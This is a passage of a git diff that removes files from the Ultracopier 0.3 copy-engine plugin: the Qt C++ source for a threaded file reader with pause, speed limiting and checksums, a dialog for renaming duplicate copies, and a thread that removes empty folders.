- putInPause=true;
- stopIt=true;
- return isInReadLoop;
-}
-
-void ReadThread::resume()
-{
- if(putInPause)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- putInPause=false;
- stopIt=false;
- }
- else
- return;
- if(tryStartRead)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] already in try start");
- return;
- }
- tryStartRead=true;
- if(isInReadLoop)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] is in read loop");
- return;
- }
- if(!file.isOpen())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] file is not open");
- return;
- }
- emit internalStartRead();
-}
-
-bool ReadThread::seek(qint64 position)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start with: "+QString::number(position));
- if(position>file.size())
- return false;
- return file.seek(position);
-}
-
-qint64 ReadThread::size()
-{
- return file.size();
-}
-
-void ReadThread::postOperation()
-{
- emit internalStartClose();
-}
-
-void ReadThread::checkSum()
-{
- QByteArray blockArray;
- QCryptographicHash hash(QCryptographicHash::Sha1);
- isInReadLoop=true;
- lastGoodPosition=0;
- seek(0);
- int sizeReaden=0;
- do
- {
- //read one block
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Read;
- #endif
- blockArray=file.read(blockSize);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
-
- if(file.error()!=QFile::NoError)
- {
- errorString_internal=tr("Unable to read the source file: ")+file.errorString()+" ("+QString::number(file.error())+")";
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("file.error()!=QFile::NoError: %1, error: %2").arg(QString::number(file.error())).arg(errorString_internal));
- emit error();
- isInReadLoop=false;
- return;
- }
- sizeReaden=blockArray.size();
- if(sizeReaden>0)
- {
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Checksum;
- #endif
- hash.addData(blockArray);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
-
- if(stopIt)
- break;
-
- lastGoodPosition+=blockArray.size();
-
- //wait for limitation speed if stop not query
- if(maxSpeed>0)
- {
- numberOfBlockCopied++;
- if(numberOfBlockCopied>=MultiForBigSpeed)
- {
- numberOfBlockCopied=0;
- waitNewClockForSpeed.acquire();
- if(stopIt)
- break;
- }
- }
- }
- }
- while(sizeReaden>0 && !stopIt);
- if(lastGoodPosition>file.size())
- {
- errorString_internal=tr("File truncated during the read, possible data change");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Source truncated during the read: %1 (%2)").arg(file.errorString()).arg(QString::number(file.error())));
- emit error();
- isInReadLoop=false;
- return;
- }
- isInReadLoop=false;
- if(stopIt)
- {
- if(putInPause)
- emit isInPause();
- stopIt=false;
- return;
- }
- emit checksumFinish(hash.result());
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stop the read");
-}
-
-bool ReadThread::internalOpen(bool resetLastGoodPosition)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] internalOpen source: "+name);
- stopIt=false;
- putInPause=false;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=InodeOperation;
- #endif
- if(file.isOpen())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] already open! source: "+name);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- return false;
- }
- file.setFileName(name);
- QIODevice::OpenMode openMode=QIODevice::ReadOnly;
- if(mode==Move)
- openMode=QIODevice::ReadWrite;
- seekToZero=false;
- if(file.open(openMode))
- {
- size_at_open=file.size();
- mtime_at_open=QFileInfo(file).lastModified();
- putInPause=false;
- if(resetLastGoodPosition)
- {
- lastGoodPosition=0;
- seek(0);
- emit opened();
- }
- else if(!seek(lastGoodPosition))
- {
- errorString_internal=file.errorString();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Unable to seek after open: %1, error: %2").arg(name).arg(errorString_internal));
- emit error();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- return false;
- }
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- isOpen.acquire();
- return true;
- }
- else
- {
- errorString_internal=file.errorString();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Unable to open: %1, error: %2").arg(name).arg(errorString_internal));
- emit error();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- return false;
- }
-}
-
-void ReadThread::internalRead()
-{
- isInReadLoop=true;
- tryStartRead=false;
- if(stopIt)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] stopIt == true, then quit");
- internalClose();
- return;
- }
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=InodeOperation;
- #endif
- int sizeReaden=0;
- if(!file.isOpen())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] is not open!");
- return;
- }
- QByteArray blockArray;
- //numberOfBlockCopied = 0;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start the copy");
- emit readIsStarted();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- if(stopIt)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] stopIt == true, then quit");
- internalClose();
- return;
- }
- do
- {
- //read one block
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Read;
- #endif
- blockArray=file.read(blockSize);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
-
- if(file.error()!=QFile::NoError)
- {
- errorString_internal=tr("Unable to read the source file: ")+file.errorString()+" ("+QString::number(file.error())+")";
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("file.error()!=QFile::NoError: %1, error: %2").arg(QString::number(file.error())).arg(errorString_internal));
- emit error();
- isInReadLoop=false;
- return;
- }
- sizeReaden=blockArray.size();
- if(sizeReaden>0)
- {
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=WaitWritePipe;
- #endif
- if(!writeThread->write(blockArray))
- {
- if(!stopIt)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] stopped because the write is stopped: "+QString::number(lastGoodPosition));
- stopIt=true;
- }
- }
-
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
-
- if(stopIt)
- break;
-
- lastGoodPosition+=blockArray.size();
-
- //wait for limitation speed if stop not query
- if(maxSpeed>0)
- {
- numberOfBlockCopied++;
- if(numberOfBlockCopied>=MultiForBigSpeed)
- {
- numberOfBlockCopied=0;
- waitNewClockForSpeed.acquire();
- if(stopIt)
- break;
- }
- }
- }
- /*
- if(lastGoodPosition>16*1024)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Test error in reading: %1 (%2)").arg(file.errorString()).arg(file.error()));
- errorString_internal=QString("Test error in reading: %1 (%2)").arg(file.errorString()).arg(file.error());
- emit error();
- isInReadLoop=false;
- return;
- }
- */
- }
- while(sizeReaden>0 && !stopIt);
- if(lastGoodPosition>file.size())
- {
- errorString_internal=tr("File truncated during the read, possible data change");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Source truncated during the read: %1 (%2)").arg(file.errorString()).arg(QString::number(file.error())));
- emit error();
- isInReadLoop=false;
- return;
- }
- isInReadLoop=false;
- if(stopIt)
- {
- if(putInPause)
- emit isInPause();
- stopIt=false;
- return;
- }
- emit readIsStopped();//will product by signal connection writeThread->endIsDetected();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stop the read");
-}
-
-void ReadThread::startRead()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- if(tryStartRead)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] already in try start");
- return;
- }
- if(isInReadLoop)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] double event dropped");
- else
- {
- tryStartRead=true;
- emit internalStartRead();
- }
-}
-
-void ReadThread::internalClose(bool callByTheDestructor)
-{
- /// \note never send signal here, because it's called by the destructor
- //ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- if(!fakeMode)
- file.close();
- if(!callByTheDestructor)
- emit closed();
-
- /// \note always the last of this function
- if(!fakeMode)
- isOpen.release();
-}
-
-/** \brief set block size
-\param block the new block size in KB
-\return Return true if succes */
-bool ReadThread::setBlockSize(const int blockSize)
-{
- if(blockSize<1 || blockSize>16384)
- {
- this->blockSize=blockSize*1024;
- //set the new max speed because the timer have changed
- setMaxSpeed(maxSpeed);
- return true;
- }
- else
- return false;
-}
-
-/*! \brief Set the max speed
-\param tempMaxSpeed Set the max speed in KB/s, 0 for no limit */
-int ReadThread::setMaxSpeed(const int maxSpeed)
-{
- if(this->maxSpeed==0 && maxSpeed==0 && waitNewClockForSpeed.available()>0)
- waitNewClockForSpeed.tryAcquire(waitNewClockForSpeed.available());
- this->maxSpeed=maxSpeed;
- if(this->maxSpeed>0)
- {
- int NewInterval,newMultiForBigSpeed=0;
- do
- {
- newMultiForBigSpeed++;
- NewInterval=(blockSize*newMultiForBigSpeed)/(this->maxSpeed);
- }
- while (NewInterval<ULTRACOPIER_PLUGIN_MINTIMERINTERVAL);
- if(NewInterval>ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL)
- {
- NewInterval=ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL;
- newMultiForBigSpeed=1;
- blockSize=this->maxSpeed*NewInterval;
- }
- MultiForBigSpeed=newMultiForBigSpeed;
- return NewInterval;
- }
- else
- {
- waitNewClockForSpeed.release();
- return 0;
- }
-}
-
-/// \brief For give timer every X ms
-void ReadThread::timeOfTheBlockCopyFinished()
-{
- if(waitNewClockForSpeed.available()<ULTRACOPIER_PLUGIN_NUMSEMSPEEDMANAGEMENT)
- waitNewClockForSpeed.release();
- //why not just use waitNewClockForSpeed.release() ?
-}
-
-/// \brief do the fake open
-void ReadThread::fakeOpen()
-{
- fakeMode=true;
- emit opened();
-}
-
-/// \brief do the fake writeIsStarted
-void ReadThread::fakeReadIsStarted()
-{
- emit readIsStarted();
-}
-
-/// \brief do the fake writeIsStopped
-void ReadThread::fakeReadIsStopped()
-{
- emit readIsStopped();
-}
-
-/// do the checksum
-void ReadThread::startCheckSum()
-{
- emit internalStartChecksum();
-}
-
-qint64 ReadThread::getLastGoodPosition()
-{
- /*if(lastGoodPosition>file.size())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] Bug, the lastGoodPosition is greater than the file size!");
- return file.size();
- }
- else*/
- return lastGoodPosition;
-}
-
-//reopen after an error
-void ReadThread::reopen()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- if(isInReadLoop)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] try reopen where read is not finish");
- return;
- }
- stopIt=true;
- emit internalStartReopen();
-}
-
-bool ReadThread::internalReopen()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- stopIt=false;
- file.close();
- if(size_at_open!=file.size() && mtime_at_open!=QFileInfo(file).lastModified())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] source file have changed since the last open, restart all");
- //fix this function like the close function
- if(internalOpen(true))
- {
- emit resumeAfterErrorByRestartAll();
- return true;
- }
- else
- return false;
- }
- else
- {
- //fix this function like the close function
- if(internalOpen(false))
- {
- emit resumeAfterErrorByRestartAtTheLastPosition();
- return true;
- }
- else
- return false;
- }
-}
-
-//set the write thread
-void ReadThread::setWriteThread(WriteThread * writeThread)
-{
- this->writeThread=writeThread;
-}
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG
-//to set the id
-void ReadThread::setId(int id)
-{
- this->id=id;
-}
-#endif
-
-void ReadThread::seekToZeroAndWait()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- stopIt=true;
- seekToZero=true;
- emit checkIfIsWait();
-}
-
-void ReadThread::isInWait()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- if(seekToZero)
- {
- seekToZero=false;
- if(file.isOpen())
- seek(0);
- else
- internalOpen(true);
- emit isSeekToZeroAndWait();
- }
-}
-
-bool ReadThread::isReading()
-{
- return isInReadLoop;
-}
-
diff --git a/plugins/CopyEngine/Ultracopier-0.3/ReadThread.h b/plugins/CopyEngine/Ultracopier-0.3/ReadThread.h
deleted file mode 100644
index 1d1eabc..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/ReadThread.h
+++ /dev/null
@@ -1,144 +0,0 @@
-/** \file ReadThread.h
-\brief Thread changed to open/close and read the source file
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifndef READTHREAD_H
-#define READTHREAD_H
-
-#include <QThread>
-#include <QByteArray>
-#include <QSemaphore>
-#include <QTimer>
-#include <QDateTime>
-#include <QFileInfo>
-#include <QCryptographicHash>
-
-#include "WriteThread.h"
-#include "Environment.h"
-#include "StructEnumDefinition_CopyEngine.h"
-#include "AvancedQFile.h"
-
-/// \brief Thread changed to open/close and read the source file
-class ReadThread : public QThread
-{
- Q_OBJECT
-public:
- explicit ReadThread();
- ~ReadThread();
-protected:
- void run();
-public:
- /// \brief open with the name and copy mode
- void open(const QString &name,const CopyMode &mode);
- /// \brief return the error string
- QString errorString();
- //QByteArray read(qint64 position,qint64 maxSize);
- /// \brief stop the copy
- void stop();
- /// \brief put the copy in pause
- bool pause();
- /// \brief resume the copy
- void resume();
- /// \brief get the size of the source file
- qint64 size();
- /// \brief get the last good position
- qint64 getLastGoodPosition();
- /// \brief start the reading of the source file
- void startRead();
- /// \brief set the current max speed in KB/s
- int setMaxSpeed(int maxSpeed);
- /// \brief set block size in KB
- bool setBlockSize(const int blockSize);
- /// \brief reopen after an error
- void reopen();
- /// \brief set the write thread
- void setWriteThread(WriteThread * writeThread);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief to set the id
- void setId(int id);
- /// \brief stat
- enum ReadStat
- {
- Idle=0,
- InodeOperation=1,
- Read=2,
- WaitWritePipe=3,
- Checksum=4
- };
- ReadStat stat;
- #endif
- /// \brief return if it's reading
- bool isReading();
- /// \brief executed at regular interval to do a speed throling
- void timeOfTheBlockCopyFinished();
- /// \brief do the fake open
- void fakeOpen();
- /// \brief do the fake readIsStarted
- void fakeReadIsStarted();
- /// \brief do the fake readIsStopped
- void fakeReadIsStopped();
- /// do the checksum
- void startCheckSum();
-public slots:
- /// \brief to reset the copy, and put at the same state when it just open
- void seekToZeroAndWait();
- void postOperation();
- /// do the checksum
- void checkSum();
-signals:
- void error();
- void isInPause();
- void opened();
- void readIsStarted();
- void readIsStopped();
- void closed();
- void isSeekToZeroAndWait();
- void checkIfIsWait();
- void resumeAfterErrorByRestartAll();
- void resumeAfterErrorByRestartAtTheLastPosition();
- void checksumFinish(const QByteArray&);
- // internal signals
- void internalStartOpen();
- void internalStartChecksum();
- void internalStartReopen();
- void internalStartRead();
- void internalStartClose();
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
-
-private:
- QString name;
- QString errorString_internal;
- AvancedQFile file;
- volatile bool stopIt;
- CopyMode mode;
- qint64 lastGoodPosition;
- volatile int blockSize;
- volatile int maxSpeed; ///< The max speed in KB/s, 0 for no limit
- QSemaphore waitNewClockForSpeed;
- volatile int numberOfBlockCopied; ///< Multiple for count the number of block copied
- volatile int multiplicatorForBigSpeed; ///< Multiple for count the number of block needed
- volatile int MultiForBigSpeed;
- WriteThread* writeThread;
- int id;
- QSemaphore isOpen;
- volatile bool putInPause;
- volatile bool isInReadLoop;
- volatile bool seekToZero;
- volatile bool tryStartRead;
- qint64 size_at_open;
- QDateTime mtime_at_open;
- bool fakeMode;
- //internal function
- bool seek(qint64 position);/// \todo search if is use full
-private slots:
- bool internalOpen(bool resetLastGoodPosition=true);
- bool internalReopen();
- void internalRead();
- void internalClose(bool callByTheDestructor=false);
- void isInWait();
-};
-
-#endif // READTHREAD_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/RenamingRules.cpp b/plugins/CopyEngine/Ultracopier-0.3/RenamingRules.cpp
deleted file mode 100644
index a09f66a..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/RenamingRules.cpp
+++ /dev/null
@@ -1,85 +0,0 @@
-#include "RenamingRules.h"
-#include "ui_RenamingRules.h"
-
-#include <QMessageBox>
-
-RenamingRules::RenamingRules(QWidget *parent) :
- QDialog(parent),
- ui(new Ui::RenamingRules)
-{
- ui->setupUi(this);
- connectUI();
- setRenamingRules("","");
-}
-
-RenamingRules::~RenamingRules()
-{
- delete ui;
-}
-
-void RenamingRules::on_buttonBox_clicked(QAbstractButton *button)
-{
- if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::RejectRole)
- reject();
- if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::ResetRole)
- {
- setRenamingRules("","");
- emit sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
- }
-}
-
-void RenamingRules::setRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- disconnectUI();
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
- if(!firstRenamingRule.isEmpty())
- ui->firstRenamingRule->setText(firstRenamingRule);
- else
- ui->firstRenamingRule->setText(tr("%1 - copy").arg("%name%"));
- if(!otherRenamingRule.isEmpty())
- ui->otherRenamingRule->setText(otherRenamingRule);
- else
- ui->otherRenamingRule->setText(tr("%1 - copy (%2)").arg("%name%").arg("%number%"));
- connectUI();
-}
-
-void RenamingRules::connectUI()
-{
- connect(ui->firstRenamingRule,SIGNAL(editingFinished()),this,SLOT(firstRenamingRule_haveChanged()));
- connect(ui->otherRenamingRule,SIGNAL(editingFinished()),this,SLOT(otherRenamingRule_haveChanged()));
-}
-
-void RenamingRules::disconnectUI()
-{
- disconnect(ui->firstRenamingRule,SIGNAL(editingFinished()),this,SLOT(firstRenamingRule_haveChanged()));
- disconnect(ui->otherRenamingRule,SIGNAL(editingFinished()),this,SLOT(otherRenamingRule_haveChanged()));
-}
-
-void RenamingRules::firstRenamingRule_haveChanged()
-{
- QString newValue=ui->firstRenamingRule->text();
- if(newValue==tr("%1 - copy").arg("%name%"))
- newValue="";
- if(newValue==firstRenamingRule)
- return;
- firstRenamingRule=newValue;
- emit sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
-}
-
-void RenamingRules::otherRenamingRule_haveChanged()
-{
- QString newValue=ui->otherRenamingRule->text();
- if(newValue==tr("%1 - copy (%2)").arg("%name%").arg("%number%"))
- newValue="";
- if(newValue==otherRenamingRule)
- return;
- otherRenamingRule=newValue;
- emit sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
-}
-
-void RenamingRules::newLanguageLoaded()
-{
- ui->retranslateUi(this);
- setRenamingRules(firstRenamingRule,otherRenamingRule);
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/RenamingRules.h b/plugins/CopyEngine/Ultracopier-0.3/RenamingRules.h
deleted file mode 100644
index 2fd9580..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/RenamingRules.h
+++ /dev/null
@@ -1,34 +0,0 @@
-#ifndef RENAMINGRULES_H
-#define RENAMINGRULES_H
-
-#include <QDialog>
-#include <QAbstractButton>
-
-namespace Ui {
-class RenamingRules;
-}
-
-/** Define rules for renaming */
-class RenamingRules : public QDialog
-{
- Q_OBJECT
-public:
- explicit RenamingRules(QWidget *parent = 0);
- ~RenamingRules();
- void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
- void newLanguageLoaded();
-private:
- Ui::RenamingRules *ui;
- void connectUI();
- void disconnectUI();
- QString firstRenamingRule;
- QString otherRenamingRule;
-private slots:
- void on_buttonBox_clicked(QAbstractButton *button);
- void firstRenamingRule_haveChanged();
- void otherRenamingRule_haveChanged();
-signals:
- void sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-};
-
-#endif // RENAMINGRULES_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/RenamingRules.ui b/plugins/CopyEngine/Ultracopier-0.3/RenamingRules.ui
deleted file mode 100644
index 9e84f4b..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/RenamingRules.ui
+++ /dev/null
@@ -1,129 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<ui version="4.0">
- <class>RenamingRules</class>
- <widget class="QDialog" name="RenamingRules">
- <property name="geometry">
- <rect>
- <x>0</x>
- <y>0</y>
- <width>303</width>
- <height>213</height>
- </rect>
- </property>
- <property name="windowTitle">
- <string>Renaming rules</string>
- </property>
- <layout class="QVBoxLayout" name="verticalLayout_3">
- <property name="spacing">
- <number>2</number>
- </property>
- <property name="margin">
- <number>2</number>
- </property>
- <item>
- <widget class="QGroupBox" name="groupBox">
- <property name="title">
- <string>First renaming</string>
- </property>
- <layout class="QVBoxLayout" name="verticalLayout">
- <item>
- <widget class="QLineEdit" name="firstRenamingRule">
- <property name="placeholderText">
- <string extracomment="%name% should not be translated">%name% - copy</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QLabel" name="label_3">
- <property name="text">
- <string extracomment=" should not be translated">&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- </item>
- <item>
- <widget class="QGroupBox" name="groupBox_2">
- <property name="title">
- <string>Second renaming</string>
- </property>
- <layout class="QVBoxLayout" name="verticalLayout_2">
- <item>
- <widget class="QLineEdit" name="otherRenamingRule">
- <property name="placeholderText">
- <string extracomment="%name%, %number% should not be translated">%name% - copy (%number%)</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QLabel" name="label_4">
- <property name="text">
- <string extracomment="%name%, %number% should not be translated">&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- </item>
- <item>
- <spacer name="verticalSpacer">
- <property name="orientation">
- <enum>Qt::Vertical</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>20</width>
- <height>1</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <widget class="QDialogButtonBox" name="buttonBox">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="standardButtons">
- <set>QDialogButtonBox::Close|QDialogButtonBox::RestoreDefaults</set>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- <resources/>
- <connections>
- <connection>
- <sender>buttonBox</sender>
- <signal>accepted()</signal>
- <receiver>RenamingRules</receiver>
- <slot>accept()</slot>
- <hints>
- <hint type="sourcelabel">
- <x>248</x>
- <y>254</y>
- </hint>
- <hint type="destinationlabel">
- <x>157</x>
- <y>274</y>
- </hint>
- </hints>
- </connection>
- <connection>
- <sender>buttonBox</sender>
- <signal>rejected()</signal>
- <receiver>RenamingRules</receiver>
- <slot>reject()</slot>
- <hints>
- <hint type="sourcelabel">
- <x>316</x>
- <y>260</y>
- </hint>
- <hint type="destinationlabel">
- <x>286</x>
- <y>274</y>
- </hint>
- </hints>
- </connection>
- </connections>
-</ui>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/RmPath.cpp b/plugins/CopyEngine/Ultracopier-0.3/RmPath.cpp
deleted file mode 100644
index a65fb97..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/RmPath.cpp
+++ /dev/null
@@ -1,127 +0,0 @@
-#include "RmPath.h"
-
-RmPath::RmPath()
-{
- stopIt=false;
- waitAction=false;
- setObjectName("RmPath");
- moveToThread(this);
- start();
-}
-
-RmPath::~RmPath()
-{
- stopIt=true;
- quit();
- wait();
-}
-
-void RmPath::addPath(const QString &path)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+path);
- if(stopIt)
- return;
- emit internalStartAddPath(path);
-}
-
-void RmPath::skip()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit internalStartSkip();
-}
-
-void RmPath::retry()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit internalStartRetry();
-}
-
-void RmPath::run()
-{
- connect(this,SIGNAL(internalStartAddPath(QString)),this,SLOT(internalAddPath(QString)),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartDoThisPath()),this,SLOT(internalDoThisPath()),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartSkip()),this,SLOT(internalSkip()),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartRetry()),this,SLOT(internalRetry()),Qt::QueuedConnection);
- exec();
-}
-
-void RmPath::internalDoThisPath()
-{
- if(waitAction || pathList.isEmpty())
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+pathList.first());
- if(!rmpath(pathList.first()))
- {
- if(stopIt)
- return;
- waitAction=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to remove the folder: "+pathList.first());
- emit errorOnFolder(pathList.first(),tr("Unable to remove the folder"));
- return;
- }
- pathList.removeFirst();
- emit firstFolderFinish();
- checkIfCanDoTheNext();
-}
-
-/** remplace QDir::rmpath() because it return false if the folder not exists
- and seam bug with parent folder */
-bool RmPath::rmpath(const QDir &dir)
-{
- if(!dir.exists())
- return true;
- bool allHaveWork=true;
- QFileInfoList list = dir.entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System,QDir::DirsFirst);
- for (int i = 0; i < list.size(); ++i)
- {
- QFileInfo fileInfo(list.at(i));
- if(!fileInfo.isDir())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"found a file: "+fileInfo.fileName());
- allHaveWork=false;
- }
- else
- {
- //return the fonction for scan the new folder
- if(!rmpath(dir.absolutePath()+'/'+fileInfo.fileName()+'/'))
- allHaveWork=false;
- }
- }
- if(!allHaveWork)
- return allHaveWork;
- allHaveWork=dir.rmdir(dir.absolutePath());
- if(!allHaveWork)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to remove the folder: "+dir.absolutePath());
- return allHaveWork;
-}
-
-void RmPath::internalAddPath(const QString &path)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+path);
- pathList << path;
- if(!waitAction)
- checkIfCanDoTheNext();
-}
-
-void RmPath::checkIfCanDoTheNext()
-{
- if(!waitAction && !stopIt && pathList.size()>0)
- emit internalStartDoThisPath();
-}
-
-void RmPath::internalSkip()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- waitAction=false;
- pathList.removeFirst();
- emit firstFolderFinish();
- checkIfCanDoTheNext();
-}
-
-void RmPath::internalRetry()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- waitAction=false;
- checkIfCanDoTheNext();
-}
-
diff --git a/plugins/CopyEngine/Ultracopier-0.3/RmPath.h b/plugins/CopyEngine/Ultracopier-0.3/RmPath.h
deleted file mode 100644
index 5eca5e1..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/RmPath.h
+++ /dev/null
@@ -1,56 +0,0 @@
-/** \file RmPath.h
-\brief Remove the path given as queued rmpath
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifndef RMPATH_H
-#define RMPATH_H
-
-#include <QThread>
-#include <QFileInfo>
-#include <QString>
-#include <QSemaphore>
-#include <QStringList>
-#include <QDir>
-
-#include "Environment.h"
-
-/// \brief Remove the path given as queued rmpath
-class RmPath : public QThread
-{
- Q_OBJECT
-public:
- explicit RmPath();
- ~RmPath();
- /// \brief add new path to remove
- void addPath(const QString &path);
-signals:
- void errorOnFolder(const QFileInfo &,const QString &);
- void firstFolderFinish();
- void internalStartAddPath(const QString &path);
- void internalStartDoThisPath();
- void internalStartSkip();
- void internalStartRetry();
- void debugInformation(const DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
-public slots:
- void skip();
- void retry();
-private:
- void run();
- bool waitAction;
- bool stopIt;
- bool skipIt;
- QStringList pathList;
- void checkIfCanDoTheNext();
- QDir dir;
- bool rmpath(const QDir &dir);
-private slots:
- void internalDoThisPath();
- void internalAddPath(const QString &path);
- void internalSkip();
- void internalRetry();
-};
-
-
-#endif // RMPATH_H
